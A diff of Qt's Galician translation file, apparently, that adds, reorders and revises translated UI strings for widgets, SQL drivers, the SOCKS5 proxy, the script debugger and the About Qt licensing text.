+ <source>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
+ <translation>&lt;p&gt;Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.&lt;/p&gt; &lt;p&gt;Qt fornece portabilidade entre MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.&lt;/p&gt;
+&lt;p&gt;Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.&lt;/p&gt;
+&lt;/p&gt;Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software proprietario
+ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.&lt;/p&gt;
+&lt;p&gt;Qt sob a licenza GNU General Public License versión 2.1 é apropriada para o desenvolvemento de programas Qt (proprietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.&lt;/p&gt;
+&lt;p&gt;Qt sob a licenza GNU General Public License versión 3.0 é apropriada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.&lt;/p&gt;
+&lt;p&gt;Consulte &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; para ler un resumo das licenzas de Qt.&lt;/p&gt;
+&lt;p&gt;Copyright (C) 2011 Nokia Corporation ou as súas subsidiarias.&lt;/p&gt;
+&lt;p&gt;Qt é un produto de Nokia. Consulte &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; para máis información.&lt;/p&gt;</translation>
+ </message>
+ <message>
+ <source>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
+ <translation type="obsolete">&lt;p&gt;Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.&lt;/p&gt; &lt;p&gt;Qt fornece portabilidade entre MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.&lt;/p&gt;
+&lt;p&gt;Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.&lt;/p&gt;
+&lt;/p&gt;Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software propietario
+ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.&lt;/p&gt;
+&lt;p&gt;Qt sob a licenza GNU General Public License versión 2.1 é apropiada para o desenvolvemento de programas Qt (propietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.&lt;/p&gt;
+&lt;p&gt;Qt sob a licenza GNU General Public License versión 3.0 é apropiada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.&lt;/p&gt;
+&lt;p&gt;Consulte &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; para ler un resumo das licenzas de Qt.&lt;/p&gt;
+&lt;p&gt;Copyright (C) 2010 Nokia Corporation ou as súas subsidiarias.&lt;/p&gt;
+&lt;p&gt;Qt é un produto de Nokia. Consulte &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; para máis información.&lt;/p&gt;</translation>
+ </message>
+ <message>
+ <source>About Qt</source>
+ <translation>Acerca de Qt</translation>
+ </message>
+</context>
+<context>
<name>QMultiInputContext</name>
<message>
<source>Select IM</source>
@@ -4118,7 +3911,7 @@ texto</translation>
</message>
<message>
<source>Cannot open %1: Path is a directory</source>
- <translation>Non é posíbel abrir %1: A rota é un directorio</translation>
+ <translation>Non é posíbel abrir %1: A ruta é un directorio</translation>
</message>
<message>
<source>Error opening %1: %2</source>
@@ -4164,6 +3957,13 @@ texto</translation>
</message>
</context>
<context>
+ <name>QNetworkAccessManager</name>
+ <message>
+ <source>Network access is disabled.</source>
+ <translation>O acceso á rede está desactivado.</translation>
+ </message>
+</context>
+<context>
<name>QNetworkReply</name>
<message>
<source>Error downloading %1 - server replied: %2</source>
@@ -4183,13 +3983,6 @@ texto</translation>
</message>
</context>
<context>
- <name>QNetworkAccessManager</name>
- <message>
- <source>Network access is disabled.</source>
- <translation>O acceso á rede está desactivado.</translation>
- </message>
-</context>
-<context>
<name>QNetworkReplyImpl</name>
<message>
<source>Operation canceled</source>
@@ -4325,6 +4118,61 @@ texto</translation>
</message>
</context>
<context>
+ <name>QODBCResult</name>
+ <message>
+ <source>Unable to fetch last</source>
+ <translation>Non foi posíbel acadar o último</translation>
+ </message>
+ <message>
+ <source>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</source>
+ <translation>QODBCResult::reset: Non foi posíbel estabelecer «SQL_CURSOR_STATIC» como
+atributo da sentenza. Verifique a configuración do controlador ODBC</translation>
+ </message>
+ <message>
+ <source>Unable to execute statement</source>
+ <translation>Non foi posíbel executar a sentenza</translation>
+ </message>
+ <message>
+ <source>Unable to fetch</source>
+ <translation>Non foi posíbel acadar</translation>
+ </message>
+ <message>
+ <source>Unable to fetch next</source>
+ <translation>Non foi posíbel acadar o seguinte</translation>
+ </message>
+ <message>
+ <source>Unable to fetch first</source>
+ <translation>Non foi posíbel acadar o primeiro</translation>
+ </message>
+ <message>
+ <source>Unable to fetch previous</source>
+ <translation>Non foi posíbel acadar o anterior</translation>
+ </message>
+ <message>
+ <source>Unable to prepare statement</source>
+ <translation>Non foi posíbel preparar a sentenza</translation>
+ </message>
+ <message>
+ <source>Unable to bind variable</source>
+ <translation>Non foi posíbel asociar a variábel</translation>
+ </message>
+</context>
+<context>
+ <name>QObject</name>
+ <message>
+ <source>&quot;%1&quot; duplicates a previous role name and will be disabled.</source>
+ <translation>«%1» duplica un nome de rol anterior e desactivarase.</translation>
+ </message>
+ <message>
+ <source>invalid query: &quot;%1&quot;</source>
+ <translation>pescuda non válida: «%1»</translation>
+ </message>
+ <message>
+ <source>PulseAudio Sound Server</source>
+ <translation>Servidor de son PulseAudio</translation>
+ </message>
+</context>
+<context>
<name>QPPDOptionsModel</name>
<message>
<source>Name</source>
@@ -4336,6 +4184,138 @@ texto</translation>
</message>
</context>
<context>
+ <name>QPSQLDriver</name>
+ <message>
+ <source>Unable to connect</source>
+ <translation>Non foi posíbel conectar</translation>
+ </message>
+ <message>
+ <source>Could not begin transaction</source>
+ <translation>Non foi posíbel comezar a transacción</translation>
+ </message>
+ <message>
+ <source>Could not commit transaction</source>
+ <translation>Non foi posíbel entregar a transacción</translation>
+ </message>
+ <message>
+ <source>Could not rollback transaction</source>
+ <translation>Non foi posíbel anular a transacción</translation>
+ </message>
+ <message>
+ <source>Unable to subscribe</source>
+ <translation>Non foi posíbel subscribirse</translation>
+ </message>
+ <message>
+ <source>Unable to unsubscribe</source>
+ <translation>Non foi posíbel anular a subscrición</translation>
+ </message>
+</context>
+<context>
+ <name>QPSQLResult</name>
+ <message>
+ <source>Unable to create query</source>
+ <translation>Non foi posíbel crear a consulta</translation>
+ </message>
+ <message>
+ <source>Unable to prepare statement</source>
+ <translation>Non foi posíbel preparar a sentenza</translation>
+ </message>
+</context>
+<context>
+ <name>QPageSetupWidget</name>
+ <message>
+ <source>Form</source>
+ <translation>Formulario</translation>
+ </message>
+ <message>
+ <source>Paper</source>
+ <translation>Papel</translation>
+ </message>
+ <message>
+ <source>Page size:</source>
+ <translation>Tamaño da páxina:</translation>
+ </message>
+ <message>
+ <source>Width:</source>
+ <translation>Largura:</translation>
+ </message>
+ <message>
+ <source>Height:</source>
+ <translation>Altura:</translation>
+ </message>
+ <message>
+ <source>Paper source:</source>
+ <translation>Fonte do papel:</translation>
+ </message>
+ <message>
+ <source>Orientation</source>
+ <translation>Orientación</translation>
+ </message>
+ <message>
+ <source>Portrait</source>
+ <translation>Retrato</translation>
+ </message>
+ <message>
+ <source>Landscape</source>
+ <translation>Apaisado</translation>
+ </message>
+ <message>
+ <source>Reverse landscape</source>
+ <translation>Apaisado invertido</translation>
+ </message>
+ <message>
+ <source>Reverse portrait</source>
+ <translation>Retrato invertido</translation>
+ </message>
+ <message>
+ <source>Margins</source>
+ <translation>Marxes</translation>
+ </message>
+ <message>
+ <source>top margin</source>
+ <translation>marxe superior</translation>
+ </message>
+ <message>
+ <source>left margin</source>
+ <translation>marxe esquerda</translation>
+ </message>
+ <message>
+ <source>right margin</source>
+ <translation>marxe dereita</translation>
+ </message>
+ <message>
+ <source>bottom margin</source>
+ <translation>marxe inferior</translation>
+ </message>
+ <message>
+ <source>Centimeters (cm)</source>
+ <translation>Centímetros (cm)</translation>
+ </message>
+ <message>
+ <source>Millimeters (mm)</source>
+ <translation>Milímetros (mm)</translation>
+ </message>
+ <message>
+ <source>Inches (in)</source>
+ <translation>Polgadas (pol)</translation>
+ </message>
+ <message>
+ <source>Points (pt)</source>
+ <translation>Puntos (pt)</translation>
+ </message>
+</context>
+<context>
+ <name>QPluginLoader</name>
+ <message>
+ <source>The plugin was not loaded.</source>
+ <translation>O complemento non se cargou.</translation>
+ </message>
+ <message>
+ <source>Unknown error</source>
+ <translation>Erro descoñecido</translation>
+ </message>
+</context>
+<context>
<name>QPrintDialog</name>
<message>
<source>&amp;Options &gt;&gt;</source>
@@ -4681,138 +4661,6 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
- <name>QPSQLDriver</name>
- <message>
- <source>Unable to connect</source>
- <translation>Non foi posíbel conectar</translation>
- </message>
- <message>
- <source>Could not begin transaction</source>
- <translation>Non foi posíbel comezar a transacción</translation>
- </message>
- <message>
- <source>Could not commit transaction</source>
- <translation>Non foi posíbel entregar a transacción</translation>
- </message>
- <message>
- <source>Could not rollback transaction</source>
- <translation>Non foi posíbel anular a transacción</translation>
- </message>
- <message>
- <source>Unable to subscribe</source>
- <translation>Non foi posíbel subscribirse</translation>
- </message>
- <message>
- <source>Unable to unsubscribe</source>
- <translation>Non foi posíbel anular a subscrición</translation>
- </message>
-</context>
-<context>
- <name>QPSQLResult</name>
- <message>
- <source>Unable to create query</source>
- <translation>Non foi posíbel crear a consulta</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Non foi posíbel preparar a sentenza</translation>
- </message>
-</context>
-<context>
- <name>QPageSetupWidget</name>
- <message>
- <source>Form</source>
- <translation>Formulario</translation>
- </message>
- <message>
- <source>Paper</source>
- <translation>Papel</translation>
- </message>
- <message>
- <source>Page size:</source>
- <translation>Tamaño da páxina:</translation>
- </message>
- <message>
- <source>Width:</source>
- <translation>Largura:</translation>
- </message>
- <message>
- <source>Height:</source>
- <translation>Altura:</translation>
- </message>
- <message>
- <source>Paper source:</source>
- <translation>Fonte do papel:</translation>
- </message>
- <message>
- <source>Orientation</source>
- <translation>Orientación</translation>
- </message>
- <message>
- <source>Portrait</source>
- <translation>Retrato</translation>
- </message>
- <message>
- <source>Landscape</source>
- <translation>Apaisado</translation>
- </message>
- <message>
- <source>Reverse landscape</source>
- <translation>Apaisado invertido</translation>
- </message>
- <message>
- <source>Reverse portrait</source>
- <translation>Retrato invertido</translation>
- </message>
- <message>
- <source>Margins</source>
- <translation>Marxes</translation>
- </message>
- <message>
- <source>top margin</source>
- <translation>marxe superior</translation>
- </message>
- <message>
- <source>left margin</source>
- <translation>marxe esquerda</translation>
- </message>
- <message>
- <source>right margin</source>
- <translation>marxe dereita</translation>
- </message>
- <message>
- <source>bottom margin</source>
- <translation>marxe inferior</translation>
- </message>
- <message>
- <source>Centimeters (cm)</source>
- <translation>Centímetros (cm)</translation>
- </message>
- <message>
- <source>Millimeters (mm)</source>
- <translation>Milímetros (mm)</translation>
- </message>
- <message>
- <source>Inches (in)</source>
- <translation>Polgadas (pol)</translation>
- </message>
- <message>
- <source>Points (pt)</source>
- <translation>Puntos (pt)</translation>
- </message>
-</context>
-<context>
- <name>QPluginLoader</name>
- <message>
- <source>The plugin was not loaded.</source>
- <translation>A extensión non se cargou.</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Erro descoñecido</translation>
- </message>
-</context>
-<context>
<name>QPrintPreviewDialog</name>
<message>
<source>Page Setup</source>
@@ -5013,11 +4861,11 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>P&amp;roperties</source>
- <translation>P&amp;ropriedades</translation>
+ <translation>P&amp;ropiedades</translation>
</message>
<message>
<source>Location:</source>
- <translation>Localización:</translation>
+ <translation>Lugar:</translation>
</message>
<message>
<source>Preview</source>
@@ -5083,6 +4931,20 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
+ <name>QPushButton</name>
+ <message>
+ <source>Open</source>
+ <translation>Abrir</translation>
+ </message>
+</context>
+<context>
+ <name>QRadioButton</name>
+ <message>
+ <source>Check</source>
+ <translation>Marcar</translation>
+ </message>
+</context>
+<context>
<name>QRegExp</name>
<message>
<source>no error occurred</source>
@@ -5248,13 +5110,6 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
- <name>QScriptNewBreakpointWidget</name>
- <message>
- <source>Close</source>
- <translation>Pechar</translation>
- </message>
-</context>
-<context>
<name>QScriptDebugger</name>
<message>
<source>Go to Line</source>
@@ -5338,7 +5193,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>&amp;Find in Script...</source>
- <translation>Procurar no &amp;script...</translation>
+ <translation>Buscar no &amp;script...</translation>
</message>
<message>
<source>Ctrl+F</source>
@@ -5346,7 +5201,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Find &amp;Next</source>
- <translation>Procurar o &amp;seguinte</translation>
+ <translation>Buscar o &amp;seguinte</translation>
</message>
<message>
<source>F3</source>
@@ -5354,7 +5209,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Find &amp;Previous</source>
- <translation>Procurar o &amp;anterior</translation>
+ <translation>Buscar o &amp;anterior</translation>
</message>
<message>
<source>Shift+F3</source>
@@ -5393,7 +5248,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;Search wrapped</source>
- <translation>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;A procura retornou</translation>
+ <translation>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;A busca retornou</translation>
</message>
</context>
<context>
@@ -5469,11 +5324,11 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Error Log</source>
- <translation>Rexisto de erros</translation>
+ <translation>Rexistro de erros</translation>
</message>
<message>
<source>Search</source>
- <translation>Procurar</translation>
+ <translation>Buscar</translation>
</message>
<message>
<source>View</source>
@@ -5485,6 +5340,80 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
+ <name>QScriptNewBreakpointWidget</name>
+ <message>
+ <source>Close</source>
+ <translation>Pechar</translation>
+ </message>
+</context>
+<context>
+ <name>QScrollBar</name>
+ <message>
+ <source>Line up</source>
+ <translation>Aliñar en riba</translation>
+ </message>
+ <message>
+ <source>Position</source>
+ <translation>Posición</translation>
+ </message>
+ <message>
+ <source>Line down</source>
+ <translation>Aliñar en baixo</translation>
+ </message>
+ <message>
+ <source>Scroll here</source>
+ <translation>Desprazar cara aquí</translation>
+ </message>
+ <message>
+ <source>Left edge</source>
+ <translation>Borde esquerdo</translation>
+ </message>
+ <message>
+ <source>Top</source>
+ <translation>Cume</translation>
+ </message>
+ <message>
+ <source>Right edge</source>
+ <translation>Borde dereito</translation>
+ </message>
+ <message>
+ <source>Bottom</source>
+ <translation>Fondo</translation>
+ </message>
+ <message>
+ <source>Page left</source>
+ <translation>Páxina á esquerda</translation>
+ </message>
+ <message>
+ <source>Page up</source>
+ <translation>Páxina en riba</translation>
+ </message>
+ <message>
+ <source>Page right</source>
+ <translation>Páxina á dereita</translation>
+ </message>
+ <message>
+ <source>Page down</source>
+ <translation>Páxina en baixo</translation>
+ </message>
+ <message>
+ <source>Scroll left</source>
+ <translation>Desprazar cara á esquerda</translation>
+ </message>
+ <message>
+ <source>Scroll up</source>
+ <translation>Desprazar cara arriba</translation>
+ </message>
+ <message>
+ <source>Scroll right</source>
+ <translation>Desprazar cara á dereita</translation>
+ </message>
+ <message>
+ <source>Scroll down</source>
+ <translation>Desprazar cara abaixo</translation>
+ </message>
+</context>
+<context>
<name>QSharedMemory</name>
<message>
<source>%1: unable to set key on lock</source>
@@ -5556,7 +5485,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>%1: not attached</source>
- <translation>%1: non adxuntado</translation>
+ <translation>%1: non anexado</translation>
</message>
<message>
<source>%1: size query failed</source>
@@ -5754,7 +5683,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Search</source>
- <translation>Procurar</translation>
+ <translation>Buscar</translation>
</message>
<message>
<source>Standby</source>
@@ -6046,7 +5975,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Rotate Windows</source>
- <translation>Xirar as fiestras</translation>
+ <translation>Xirar as xanelas</translation>
</message>
<message>
<source>Rotation PB</source>
@@ -6206,7 +6135,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Page Down</source>
- <translation>Página Abaixo</translation>
+ <translation>Páxina Abaixo</translation>
</message>
<message>
<source>Caps Lock</source>
@@ -6277,7 +6206,7 @@ Desexa sobrescribilo?</translation>
<message>
<source>Toggle Call/Hangup</source>
<extracomment>Button that will hang up if we&apos;re in call, or make a call if we&apos;re not.</extracomment>
- <translation>Comutar chamar/colgar</translation>
+ <translation>Conmutar chamar/colgar</translation>
</message>
<message>
<source>Flip</source>
@@ -6285,7 +6214,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Voice Dial</source>
- <extracomment>Button to trigger voice dialling</extracomment>
+ <extracomment>Button to trigger voice dialing</extracomment>
<translation>Chamar mediante voz</translation>
</message>
<message>
@@ -6449,6 +6378,88 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
+ <name>QSlider</name>
+ <message>
+ <source>Page left</source>
+ <translation>Páxina á esquerda</translation>
+ </message>
+ <message>
+ <source>Page up</source>
+ <translation>Páxina en riba</translation>
+ </message>
+ <message>
+ <source>Position</source>
+ <translation>Posición</translation>
+ </message>
+ <message>
+ <source>Page right</source>
+ <translation>Páxina á dereita</translation>
+ </message>
+ <message>
+ <source>Page down</source>
+ <translation>Páxina en baixo</translation>
+ </message>
+</context>
+<context>
+ <name>QSocks5SocketEngine</name>
+ <message>
+ <source>Connection to proxy refused</source>
+ <translation>A conexión co proxy foi rexeitada</translation>
+ </message>
+ <message>
+ <source>Connection to proxy closed prematurely</source>
+ <translation>A conexión co proxy pechouse antes de tempo</translation>
+ </message>
+ <message>
+ <source>Proxy host not found</source>
+ <translation>Non se atopou o servidor proxy</translation>
+ </message>
+ <message>
+ <source>Connection to proxy timed out</source>
+ <translation>A conexión co proxy esgotou o tempo-límite</translation>
+ </message>
+ <message>
+ <source>Proxy authentication failed</source>
+ <translation>Fallou a autenticación co proxy</translation>
+ </message>
+ <message>
+ <source>Proxy authentication failed: %1</source>
+ <translation>Fallou a autenticación no proxy: %1</translation>
+ </message>
+ <message>
+ <source>SOCKS version 5 protocol error</source>
+ <translation>Erro do protocolo SOCKS versión 5</translation>
+ </message>
+ <message>
+ <source>General SOCKSv5 server failure</source>
+ <translation>Fallo xeral do servidor SOCKSv5</translation>
+ </message>
+ <message>
+ <source>Connection not allowed by SOCKSv5 server</source>
+ <translation>O servidor SOCKSv5 non permitiu a conexión</translation>
+ </message>
+ <message>
+ <source>TTL expired</source>
+ <translation>Esgotouse o TTL</translation>
+ </message>
+ <message>
+ <source>SOCKSv5 command not supported</source>
+ <translation>A orde SOCKSv5 non está soportada</translation>
+ </message>
+ <message>
+ <source>Address type not supported</source>
+ <translation>Tipo de enderezo non soportado</translation>
+ </message>
+ <message>
+ <source>Unknown SOCKSv5 proxy error code 0x%1</source>
+ <translation>Código de erro descoñecido (0x%1) do proxy SOCKSv5</translation>
+ </message>
+ <message>
+ <source>Network operation timed out</source>
+ <translation>A operación de rede esgotou o tempo-límite</translation>
+ </message>
+</context>
+<context>
<name>QSoftKeyManager</name>
<message>
<source>Ok</source>
@@ -6476,6 +6487,17 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
+ <name>QSpinBox</name>
+ <message>
+ <source>More</source>
+ <translation>Máis</translation>
+ </message>
+ <message>
+ <source>Less</source>
+ <translation>Menos</translation>
+ </message>
+</context>
+<context>
<name>QSql</name>
<message>
<source>Delete</source>
@@ -6578,11 +6600,11 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>The basicConstraints path length parameter has been exceeded</source>
- <translation>Superouse a lonxitude da rota do parámetro basicConstraints</translation>
+ <translation>Superouse a lonxitude da ruta do parámetro basicConstraints</translation>
</message>
<message>
<source>The supplied certificate is unsuitable for this purpose</source>
- <translation>O certificado fornecido non é apropriada para este propósito</translation>
+ <translation>O certificado fornecido non é apropiada para este propósito</translation>
</message>
<message>
<source>The root CA certificate is not trusted for this purpose</source>
@@ -6594,11 +6616,11 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate</source>
- <translation>O certificado emisor do candidado actual rexeitouse porque o nome do asunto non coincide co do emisor do certificado actual</translation>
+ <translation>O certificado emisor do candidato actual rexeitouse porque o nome do asunto non coincide co do emisor do certificado actual</translation>
</message>
<message>
<source>The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate</source>
- <translation>O certificado emisor do candidado actual rexeitouse porque o nome do emisor e o número de serie están presentes pero non coinciden co identificador da autoridade da chave do certificado actual</translation>
+ <translation>O certificado emisor do candidato actual rexeitouse porque o nome do emisor e o número de serie están presentes pero non coinciden co identificador da autoridade da chave do certificado actual</translation>
</message>
<message>
<source>The peer did not present any certificate</source>
@@ -6681,6 +6703,29 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
+ <name>QSystemSemaphore</name>
+ <message>
+ <source>%1: permission denied</source>
+ <translation>%1: negouse o permiso</translation>
+ </message>
+ <message>
+ <source>%1: already exists</source>
+ <translation>%1: xa existe</translation>
+ </message>
+ <message>
+ <source>%1: does not exist</source>
+ <translation>%1: non existe</translation>
+ </message>
+ <message>
+ <source>%1: out of resources</source>
+ <translation>%1: esgotou os recursos</translation>
+ </message>
+ <message>
+ <source>%1: unknown error %2</source>
+ <translation>%1: erro descoñecido %2</translation>
+ </message>
+</context>
+<context>
<name>QTDSDriver</name>
<message>
<source>Unable to open connection</source>
@@ -6692,6 +6737,17 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
+ <name>QTabBar</name>
+ <message>
+ <source>Scroll Left</source>
+ <translation>Desprazar cara a esquerda</translation>
+ </message>
+ <message>
+ <source>Scroll Right</source>
+ <translation>Desprazar cara a dereita</translation>
+ </message>
+</context>
+<context>
<name>QTcpServer</name>
<message>
<source>Operation on socket is not supported</source>
@@ -6734,6 +6790,53 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
+ <name>QToolButton</name>
+ <message>
+ <source>Press</source>
+ <translation>Premer</translation>
+ </message>
+ <message>
+ <source>Open</source>
+ <translation>Abrir</translation>
+ </message>
+</context>
+<context>
+ <name>QUdpSocket</name>
+ <message>
+ <source>This platform does not support IPv6</source>
+ <translation>Esta plataforma non admite IPv6</translation>
+ </message>
+</context>
+<context>
+ <name>QUndoGroup</name>
+ <message>
+ <source>Undo</source>
+ <translation>Desfacer</translation>
+ </message>
+ <message>
+ <source>Redo</source>
+ <translation>Facer de novo</translation>
+ </message>
+</context>
+<context>
+ <name>QUndoModel</name>
+ <message>
+ <source>&lt;empty&gt;</source>
+ <translation>&lt;baleiro&gt;</translation>
+ </message>
+</context>
+<context>
+ <name>QUndoStack</name>
+ <message>
+ <source>Undo</source>
+ <translation>Desfacer</translation>
+ </message>
+ <message>
+ <source>Redo</source>
+ <translation>Facer de novo</translation>
+ </message>
+</context>
+<context>
<name>QUnicodeControlCharacterMenu</name>
<message>
<source>LRM Left-to-right mark</source>
@@ -6781,42 +6884,6 @@ Desexa sobrescribilo?</translation>
</message>
</context>
<context>
- <name>QUdpSocket</name>
- <message>
- <source>This platform does not support IPv6</source>
- <translation>Esta plataforma non admite IPv6</translation>
- </message>
-</context>
-<context>
- <name>QUndoGroup</name>
- <message>
- <source>Undo</source>
- <translation>Desfacer</translation>
- </message>
- <message>
- <source>Redo</source>
- <translation>Facer de novo</translation>
- </message>
-</context>
-<context>
- <name>QUndoModel</name>
- <message>
- <source>&lt;empty&gt;</source>
- <translation>&lt;baleiro&gt;</translation>
- </message>
-</context>
-<context>
- <name>QUndoStack</name>
- <message>
- <source>Undo</source>
- <translation>Desfacer</translation>
- </message>
- <message>
- <source>Redo</source>
- <translation>Facer de novo</translation>
- </message>
-</context>
-<context>
<name>QWebFrame</name>
<message>
<source>Request cancelled</source>
@@ -6879,7 +6946,7 @@ Desexa sobrescribilo?</translation>
<message>
<source>This is a searchable index. Enter search keywords: </source>
<comment>text that appears at the start of nearly-obsolete web pages in the form of a &apos;searchable index&apos;</comment>
- <translation>Este é un índice con capacidade de procura. Introduza as palabras chave da procura: </translation>
+ <translation>Este é un índice con capacidade de busca. Introduza as palabras chave da busca: </translation>
</message>
<message>
<source>Choose File</source>
@@ -6894,7 +6961,7 @@ Desexa sobrescribilo?</translation>
<message>
<source>Open in New Window</source>
<comment>Open in New Window context menu item</comment>
- <translation>Abrir nunha fiestra nova</translation>
+ <translation>Abrir nunha xanela nova</translation>
</message>
<message>
<source>Save Link...</source>
@@ -6964,7 +7031,7 @@ Desexa sobrescribilo?</translation>
<message>
<source>No Guesses Found</source>
<comment>No Guesses Found context menu item</comment>
- <translation>Non se acharon conxecturas</translation>
+ <translation>Non se atoparon conxecturas</translation>
</message>
<message>
<source>Ignore</source>
@@ -6979,7 +7046,7 @@ Desexa sobrescribilo?</translation>
<message>
<source>Search The Web</source>
<comment>Search The Web context menu item</comment>
- <translation>Procurar na web</translation>
+ <translation>Buscar na web</translation>
</message>
<message>
<source>Look Up In Dictionary</source>
@@ -7084,22 +7151,22 @@ Desexa sobrescribilo?</translation>
<message>
<source>No recent searches</source>
<comment>Label for only item in menu that appears when clicking on the search field image, when no searches have been performed</comment>
- <translation>Non se procurou nada</translation>
